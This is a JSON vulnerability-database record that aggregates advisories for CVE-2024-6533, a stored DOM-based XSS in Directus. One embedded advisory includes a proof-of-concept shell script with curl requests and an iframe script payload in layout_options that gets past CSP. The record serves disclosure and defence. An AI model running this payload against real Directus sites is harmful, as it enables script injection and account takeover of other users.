{"id":"GHSA-qf6h-p3mr-vmh5","revision":null,"records":[{"revision":"0a24299652b241b5bf66c37f84102e88","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-6533","aliases":[],"title":"Directus 10.13.0 - DOM-Based cross-site scripting (XSS) via layout_options","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","state":0,"publishedAt":"2024-08-15T03:04:08.25+00:00","modifiedAt":"2025-05-19T17:56:31.826+00:00","affected":[{"ecosystem":"Vendor product","name":"Directus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"unaffected\",\n                    \"product\": \"Directus\",\n                    \"vendor\": \"Directus\",\n                    \"versions\": [\n                        {\n                            \"status\": \"unknown\",\n                            \"version\": \"10.13.0\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"severity":"MEDIUM"}],"references":["https://fluidattacks.com/advisories/bocelli","https://directus.io/"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-6533","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-6533","identifiers":["CVE-2024-6533"]},"retained":false,"historicalAffected":[]},{"revision":"56fb2b1b5c96479aaf58ab94ac93e319","observedAt":"2026-11-21T06:52:46.53+00:00","statement":{"source":"euvd","id":"EUVD-2024-2634","aliases":["CVE-2024-6533","GHSA-qf6h-p3mr-vmh5"],"title":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the c…","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"severity":null}],"references":["https://fluidattacks.com/advisories/bocelli","https://directus.io/"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-2634","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 15, 2024, 3:04:08 AM","dateUpdated":"May 19, 2025, 5:56:31 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-2634","identifiers":["EUVD-2024-2634","CVE-2024-6533","GHSA-qf6h-p3mr-vmh5"]},"retained":false,"historicalAffected":[]},{"revision":"fc20e8f862fb4353b6f92cb2112b66c9","observedAt":"2026-10-25T01:17:17.137+00:00","statement":{"source":"nvd","id":"CVE-2024-6533","aliases":[],"title":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the c…","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","state":0,"publishedAt":"2024-08-15T03:15:04.567+00:00","modifiedAt":"2026-06-17T08:18:12.013+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · help@fluidattacks.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"severity":"MEDIUM"}],"references":["https://directus.io/","https://fluidattacks.com/advisories/bocelli"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-6533","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-79"],"productCriteria":["cpe:2.3:a:monospace:directus:10.13.0:*:*:*:*:*:*:*"],"sourceDates":{"published":"2024-08-15T03:15:04.567","lastModified":"2026-06-17T08:18:12.013"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-6533","identifiers":["CVE-2024-6533"]},"retained":false,"historicalAffected":[]},{"revision":"5c5cce5ceb68403899d50c70a023de4a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9qrm-48qf-r2rw","aliases":["CVE-2024-6533"],"title":"Directus has a DOM-Based cross-site scripting (XSS) via layout_options","description":"### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n    -c \"${root_dir}/static/attacker_directus_session_token\" \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n  curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"<iframe srcdoc=\\\\\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\\\\\">\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\\\"<script src='URL_MALICIOUS_FILE'> </script>\\\">`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.","state":0,"publishedAt":"2025-01-23T22:36:50+00:00","modifiedAt":"2026-08-14T19:26:01.721091+00:00","affected":[{"ecosystem":"npm","name":"directus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"11.3.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw","https://github.com/directus/directus"],"sourceUrl":"https://github.com/advisories/GHSA-9qrm-48qf-r2rw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9qrm-48qf-r2rw","identifiers":["GHSA-9qrm-48qf-r2rw","CVE-2024-6533"]},"retained":false,"historicalAffected":[]},{"revision":"fdfbec4a8b754e6085d7663c5070bd4b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qf6h-p3mr-vmh5","aliases":[],"title":"Duplicate Advisory: Code injection in Directus","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9qrm-48qf-r2rw. This link is maintained to preserve external references.\n\n## Original Description\nDirectus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","state":2,"publishedAt":"2024-08-15T03:30:28+00:00","modifiedAt":"2025-03-22T00:35:38+00:00","affected":[{"ecosystem":"npm","name":"directus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"10.13.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2024-6533","https://directus.io/","https://fluidattacks.com/advisories/bocelli","https://github.com/directus/directus"],"sourceUrl":"https://github.com/advisories/GHSA-qf6h-p3mr-vmh5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qf6h-p3mr-vmh5","identifiers":["GHSA-qf6h-p3mr-vmh5"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-22T01:25:39.6647132+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-22T01:25:39.6647132+00:00","lastSuccessAt":"2026-11-22T01:25:39.8332435+00:00","error":null,"lastVerifiedAt":"2026-11-22T01:25:39.8332445+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-1d6c61c44cf3e269b6d60ed2fe0a3aa1f7e55445c7f170f16f2fa063bbf73db3-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":430360,"lastAttemptAt":"2026-11-22T01:25:39.2446556+00:00","lastSuccessAt":"2026-11-22T01:25:35.2015713+00:00","error":null,"lastVerifiedAt":"2026-11-22T01:25:39.2446556+00:00","snapshotPublishedAt":"2026-11-22T00:34:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-60c80451a48541f3a7a619f41737b884","complete":false,"records":13927,"lastAttemptAt":"2026-11-22T01:33:20.9225703+00:00","lastSuccessAt":"2026-11-22T01:33:20.916+00:00","error":"139 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-22T01:33:20.916+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13729,"expectedIdentifiers":13975,"failedIdentifiers":139},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-22T01:25:39.6647132+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-22T01:25:39.6647132+00:00","lastSuccessAt":"2026-11-22T01:25:39.8342802+00:00","error":null,"lastVerifiedAt":"2026-11-22T01:25:39.8342809+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b1edd4eceb95489f963c5eaabafcc54b","complete":true,"records":13939,"lastAttemptAt":"2026-11-22T01:25:43.3832012+00:00","lastSuccessAt":"2026-11-22T00:26:00.267+00:00","error":null,"lastVerifiedAt":"2026-11-22T00:26:00.267+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13975,"expectedIdentifiers":13975,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e5345bb505029da8292989aaa8236ee0c21dd40080e465858702ec2ecb4dcefd","complete":true,"records":9989,"lastAttemptAt":"2026-11-22T01:25:39.5170322+00:00","lastSuccessAt":"2026-11-21T19:16:03.0413179+00:00","error":null,"lastVerifiedAt":"2026-11-22T01:25:39.5170322+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-22T01:25:39.3052818+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-22T01:25:39.3052818+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-67ea94df7f6b2100258b087b14035af283f000b6aefe39f55e9f2795f912fde8","complete":true,"records":3209,"lastAttemptAt":"2026-11-22T01:25:39.6286637+00:00","lastSuccessAt":"2026-11-21T19:16:06.9994675+00:00","error":null,"lastVerifiedAt":"2026-11-22T01:25:39.6286637+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-51ee6316df1f127212a04a5d14e44bd5b8320ce3e4eef0c5252608edb6cd3602","complete":true,"records":232850,"lastAttemptAt":"2026-11-22T01:25:39.4073394+00:00","lastSuccessAt":"2026-11-21T23:27:19.9062791+00:00","error":null,"lastVerifiedAt":"2026-11-22T01:25:39.4073394+00:00","snapshotPublishedAt":"2026-11-21T23:18:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}